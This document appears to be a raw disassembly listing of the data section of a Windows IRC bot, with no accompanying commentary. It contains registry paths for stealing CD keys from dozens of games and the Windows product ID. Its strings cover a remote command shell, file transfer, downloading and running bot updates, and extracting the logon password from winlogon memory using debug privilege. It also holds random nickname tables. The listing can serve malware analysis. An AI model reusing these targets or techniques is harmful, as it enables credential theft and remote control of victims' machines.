aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368F4o
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004368F0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368ECo
		align 4
asc_437AEC:				; DATA XREF: sub_415A30+E9o
					; sub_415A30+F4o
		unicode	0, <=>,0
dword_437AF0	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A30+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437B6C	db  2Dh	; -		; DATA XREF: ___:00415F18o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_437B90	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Do
					; ___:00416313o
		dd 726F72h
unk_437BA8	db  2Dh	; -		; DATA XREF: ___:00416115o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_437BD4	db  2Dh	; -		; DATA XREF: ___:0041601Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437BF8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE6o
		dd 74756Fh
dword_437C10	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F85o
		dd 169h
unk_437C28	db  2Dh	; -		; DATA XREF: ___:00415F42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437C48	db  2Dh	; -		; DATA XREF: ___:00415E9Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437C6C	db  2Dh	; -		; DATA XREF: ___:00415E5Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_437C90	db  2Dh	; -		; DATA XREF: ___:0041638Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_437CBC	db  2Dh	; -		; DATA XREF: ___:00416288o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437CDC	db  2Dh	; -		; DATA XREF: ___:00416268o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:00416254o
unk_437D0C	db  2Dh	; -		; DATA XREF: ___:00416240o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437D3C	db  2Dh	; -		; DATA XREF: ___:0041688Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437D68	db  2Dh	; -		; DATA XREF: ___:0041687Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_437D9C	db  2Dh	; -		; DATA XREF: ___:004167C3o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_437DE0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416752o
		dd 25206465h, 73h
unk_437DFC	db  2Dh	; -		; DATA XREF: ___:004166DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437E34	db  2Dh	; -		; DATA XREF: ___:0041665Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437E5C	db  2Dh	; -		; DATA XREF: ___:004165D2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_437E88	db  2Dh	; -		; DATA XREF: ___:0041658Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_437EB0	db  2Dh	; -		; DATA XREF: ___:0041657Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_437ED8	db  2Dh	; -		; DATA XREF: ___:00416471o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A2:loc_4169E5o
					; sub_418EF7+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A2:loc_4169DFo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A2:loc_4169D9o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A2:loc_4169D3o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A2:loc_4169CDo
		align 4
off_437F28	dd offset word_4D4152	; DATA XREF: sub_4169A2:loc_4169C7o
word_437F2C	dw 3Fh			; DATA XREF: sub_4169A2+1Fo
					; sub_41AA43:loc_41AB45r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416A33:loc_416B11o
					; sub_416B57+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416A33+6Co
		align 10h
unk_437F40	db  2Dh	; -		; DATA XREF: sub_416B57+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437F7C	db  2Dh	; -		; DATA XREF: sub_416B57+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_437FB8	dd offset byte_5C3A41	; DATA XREF: sub_416C29:loc_416C6Eo
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_438028	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417094o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43805C	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417067o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438088	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417060o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_4380C0	db  2Dh	; -		; DATA XREF: sub_416F1B+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43811C	dd offset byte_530055	; DATA XREF: sub_416F1B+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset loc_4E0047+2
		dd 0
off_438134	dd offset byte_530055	; DATA XREF: sub_416F1B+CEo
		dd offset byte_520045
		dd offset loc_41004E
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1B+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o
					; sub_416F1B+161o ...
		align 4
unk_4381F8	db  2Dh	; -		; DATA XREF: sub_416F1B+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170ED+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170ED+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170ED+AFo
		align 4
dword_438244	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417553+70o
					; sub_4175EA+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438294	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175EA+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_4382E8	dd offset aQ		; DATA XREF: sub_417ADE+5Cr
					; "q"
		dd offset dword_438E90
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_438E8C
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE50	; "l"
		dd offset dword_438E7C
		dd offset dword_438E78
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438E74
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438E70
		dd offset dword_438E6C
		dd offset dword_438E68
		dd offset dword_438E64
		dd offset dword_438E60
		dd offset word_438E5C
		dd offset dword_438E58
		dd offset aI_0		; "I"
		dd offset dword_438E54
		dd offset dword_438E50
		dd offset aA_0		; "A"
		dd offset dword_438E4C
		dd offset dword_438E48
		dd offset dword_438E44
		dd offset dword_438E40
		dd offset dword_438E3C
		dd offset dword_438E38
		dd offset dword_438E34
		dd offset dword_438E30
		dd offset dword_438E2C
		dd offset dword_438E28
		dd offset dword_438E24
		dd offset dword_438E20
		dd offset dword_438E1C
		dd offset word_438E18
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_438BB0
		dd offset off_438BAC
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438A18
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_4385E8	dd offset aSex		; DATA XREF: sub_417ADE+41r
					; sub_417ADE+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438E74
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aI		; "i"
		dd offset dword_42BBF8
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE50	; "l"
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438E90
		dd offset dword_438E78
		dd offset dword_438E8C
		dd offset dword_438E7C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438E7C
		dd offset dword_438E84
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438838
		dd offset aBbl		; "|bbl"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset a___0		; "_|_"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_438E44
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438E74
		dd offset dword_43D808
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_438E28
		dd offset dword_43D808
		dd offset off_4387F8
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4387B8
		dd offset dword_4387B4
		dd offset dword_4387AC
		dd offset dword_4387A0
		dd offset dword_438798
		dd offset dword_438790
		dd offset dword_438788
		dd offset dword_438784
		dd offset dword_438780
dword_438780	dd 7536h		; DATA XREF: ___:0043877Co
dword_438784	dd 7535h		; DATA XREF: ___:00438778o
dword_438788	dd 7C75347Ch, 0		; DATA XREF: ___:00438774o
dword_438790	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438770o
dword_438798	dd 7375347Ch, 7Ch	; DATA XREF: ___:0043876Co
dword_4387A0	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438768o
dword_4387AC	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438764o
dword_4387B4	dd 6C6F6Ch		; DATA XREF: ___:00438760o
dword_4387B8	dd 746F74h		; DATA XREF: ___:0043875Co
aMofo		db 'mofo',0             ; DATA XREF: ___:00438758o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438754o
		align 4
